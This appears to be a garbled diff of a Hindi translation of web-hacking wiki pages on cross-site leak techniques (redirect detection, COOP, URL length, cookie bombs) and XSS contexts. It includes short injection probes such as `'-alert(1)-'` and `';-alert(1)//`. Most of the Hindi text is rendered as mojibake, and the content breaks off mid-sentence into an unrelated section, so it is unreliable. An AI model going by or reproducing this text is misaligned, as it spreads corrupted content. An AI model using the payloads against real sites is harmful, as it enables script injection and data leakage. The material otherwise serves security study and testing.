[https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) +- **Inclusion Methods**: Fetch API +- **Detectable Difference**: Status Code +- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) +- **Summary:** GC рдФрд░ SA рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ (opaque-redirect) рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред +- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) -`redirect: "manual"` рдФрд░ рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде Fetch API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрдиреБрд░реЛрдз рд╕рдмрдорд┐рдЯ рдХрд░рддреЗ рд╕рдордп, рдпрд╣ `response.type` рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдкрдврд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ `opaqueredirect` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдПрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдереАред +`redirect: "manual"` рдФрд░ рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде Fetch API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрдиреБрд░реЛрдз рд╕рдмрдорд┐рдЯ рдХрд░рддреЗ рд╕рдордп, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ `response.type` рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХреЛ рдкрдврд╝рд╛ рдЬрд╛рдП рдФрд░ рдпрджрд┐ рдпрд╣ `opaqueredirect` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдПрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдереАред ### COOP -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: рдкреЙрдк-рдЕрдк -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) -- **рд╕рд╛рд░рд╛рдВрд╢:** рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдУрдкрдирд░ рдиреАрддрд┐ (COOP) рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕реЗ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) +- **Inclusion Methods**: Pop-ups +- **Detectable Difference**: Header +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) +- **Summary:** Cross-Origin Opener Policy (COOP) рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕реЗ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВред +- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) -рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдУрдкрдирд░ рдиреАрддрд┐ (COOP) рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред COOP рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рд╡рд┐рдВрдбреЛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╣реЗрдбрд░ рдХреА рджреГрд╢реНрдпрддрд╛ рдХреЛ **`contentWindow` рд╕рдВрджрд░реНрдн** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдХреЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ COOP рдХреЛ рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **`opener` рдкреНрд░реЙрдкрд░реНрдЯреА** рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддрдХ рдмрди рдЬрд╛рддреА рд╣реИ: рдпрд╣ **рдЕрдкрд░рд┐рднрд╛рд╖рд┐рдд** рд╣реЛрддреА рд╣реИ рдЬрдм COOP рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ **рдкрд░рд┐рднрд╛рд╖рд┐рдд** рд╣реЛрддреА рд╣реИред +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Cross-Origin Opener Policy (COOP) рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред COOP рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рд╡рд┐рдВрдбреЛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╣реЗрдбрд░ рдХреА рджреГрд╢реНрдпрддрд╛ рдХреЛ **`contentWindow` рд╕рдВрджрд░реНрдн** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдХреЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ COOP рдХреЛ рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **`opener` рдкреНрд░реЙрдкрд░реНрдЯреА** рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддрдХ рдмрди рдЬрд╛рддреА рд╣реИ: рдпрд╣ COOP рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рдкрд░ **undefined** рд╣реЛрддреА рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдЕрднрд╛рд╡ рдореЗрдВ **defined** рд╣реЛрддреА рд╣реИред -### URL рдЕрдзрд┐рдХрддрдо рд▓рдВрдмрд╛рдИ - рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб +### URL Max Length - Server Side -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API, HTML рддрддреНрд╡ -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╕реНрдерд┐рддрд┐ рдХреЛрдб / рд╕рд╛рдордЧреНрд░реА -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) -- **рд╕рд╛рд░рд╛рдВрд╢:** рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓рдВрдмрд╛рдИ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ, рдЬреЛ рдЗрддрдиреА рдмрдбрд╝реА рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдкреБрдирдГ рдЦреЗрд▓рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) +- **Inclusion Methods**: Fetch API, HTML Elements +- **Detectable Difference**: Status Code / Content +- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) +- **Summary:** рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдЗрддрдиреА рдмрдбрд╝реА рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдкреБрдирдГ рдЦреЗрд▓рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред +- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) -рдпрджрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдФрд░ **рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╕рд░реНрд╡рд░** рдХреА **рд╕реАрдорд╛ рдЕрдиреБрд░реЛрдз рд▓рдВрдмрд╛рдИ** рд╣реЛрддреА рд╣реИред рдпрджрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛** рд╡рд╣ **рд▓рдВрдмрд╛рдИ - 1** рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢** рдЙрд╕ **рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ **рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдпрд╣ **рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рддреНрд░реБрдЯрд┐ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрджрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдФрд░ **рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╕рд░реНрд╡рд░** рдХреЗ рдкрд╛рд╕ **рд╕реАрдорд┐рдд рдЕрдиреБрд░реЛрдз рд▓рдВрдмрд╛рдИ** рд╣реЛрддреА рд╣реИред рдпрджрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛** **рд▓рдВрдмрд╛рдИ - 1** рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢** рдЙрд╕ **рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ **рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдпрд╣ **рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рддреНрд░реБрдЯрд┐ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ **рдкрд░реНрдпрд╛рдкреНрдд рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдХрд░рдХреЗ** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ([**рдХреБрдХреА рдмрдо**](hacking-with-cookies/cookie-bomb.md)) рддрд╛рдХрд┐ **рд╕рд╣реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХреЗ **рдмрдврд╝реЗ рд╣реБрдП рдЖрдХрд╛рд░** рдХреЗ рд╕рд╛рде рдПрдХ **рддреНрд░реБрдЯрд┐** рдЯреНрд░рд┐рдЧрд░ рд╣реЛред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рдПрдХ рд╣реА рд╕рд╛рдЗрдЯ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ ``** рдЯреИрдЧ рдХреЗ рдмреАрдЪ, рдПрдХ HTML рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░, рдПрдХ `.js` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдпрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдЕрдВрджрд░ **`javascript:`** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ: +рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ **``** рдЯреИрдЧ рдХреЗ рдмреАрдЪ, рдПрдХ HTML рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░, рдПрдХ `.js` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдпрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдЕрдВрджрд░ **`javascript:`** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ: - рдпрджрд┐ рдпрд╣ **``** рдЯреИрдЧ рдХреЗ рдмреАрдЪ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рднрд▓реЗ рд╣реА рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ рдЙрджреНрдзрд░рдг рдХреЗ рдЕрдВрджрд░ рд╣реЛ, рдЖрдк `` рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рд╕рдВрджрд░реНрдн рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкрд╣рд▓реЗ HTML рдЯреИрдЧ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░реЗрдЧрд╛** рдФрд░ рдлрд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдирд╣реАрдВ рджреЗрдЦреЗрдЧрд╛ рдХрд┐ рдЖрдкрдХрд╛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ `` рдЯреИрдЧ HTML рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рд╣реИред -- рдпрджрд┐ рдпрд╣ **JS рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреЗ рдЕрдВрджрд░ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрд┐рдо рдЯреНрд░рд┐рдХ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ **рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ**, рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдФрд░ JS рдХреЛрдб рдХреЛ **рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдпрджрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛): +- рдпрджрд┐ рдпрд╣ **JS рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░** рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрд┐рдо рдЯреНрд░рд┐рдХ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ **рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ**, рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдФрд░ JS рдХреЛрдб рдХреЛ **рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдпрджрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -92,7 +92,7 @@ js-hoisting.md ### Javascript Function -рдХрдИ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдРрд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ **рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдирд╛рдо рдХреЛ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ**ред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрджрд╛рд╣рд░рдг рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЬреАрд╡рди рдореЗрдВ рджреЗрдЦрдиреЗ рдХреЛ рдорд┐рд▓рддрд╛ рд╣реИ рд╡рд╣ рд╣реИ: `?callback=callbackFunc`. +рдХрдИ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдРрд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ **рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдирд╛рдо рдХреЛ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред** рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрджрд╛рд╣рд░рдг рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЬреАрд╡рди рдореЗрдВ рджреЗрдЦрдиреЗ рдХреЛ рдорд┐рд▓рддрд╛ рд╣реИ рд╡рд╣ рд╣реИ: `?callback=callbackFunc`. рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реАрдзреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИ, **рдкреИрд░рд╛рдореАрдЯрд░ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛** (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП 'Vulnerable' рдореЗрдВ) рдФрд░ рдХрдВрд╕реЛрд▓ рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдирд╛ рдЬреИрд╕реЗ: @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -рдпрд╣рд╛рдБ **JS рдХреЛрдб** рд╣реИ рдЬреЛ **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд** рддрд░реАрдХреЗ рд╕реЗ рдХреБрдЫ **рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреИрд╕реЗ `location.href`ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣рд╛рдБ **JS рдХреЛрдб** рд╣реИ рдЬреЛ **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд** рддрд░реАрдХреЗ рд╕реЗ рдХреБрдЫ **рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреИрд╕реЗ `location.href`ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдЗрд╕реЗ рдордирдорд╛рдиреЗ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **Universal XSS** -рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ XSS **рдХрд╣реАрдВ рднреА** рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдХреЗрд╡рд▓ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рд╢реЛрд╖рдг рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддреЗ рдмрд▓реНрдХрд┐ **рдХрд┐рд╕реА рднреА** **рд╕рдВрджрд░реНрдн** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ 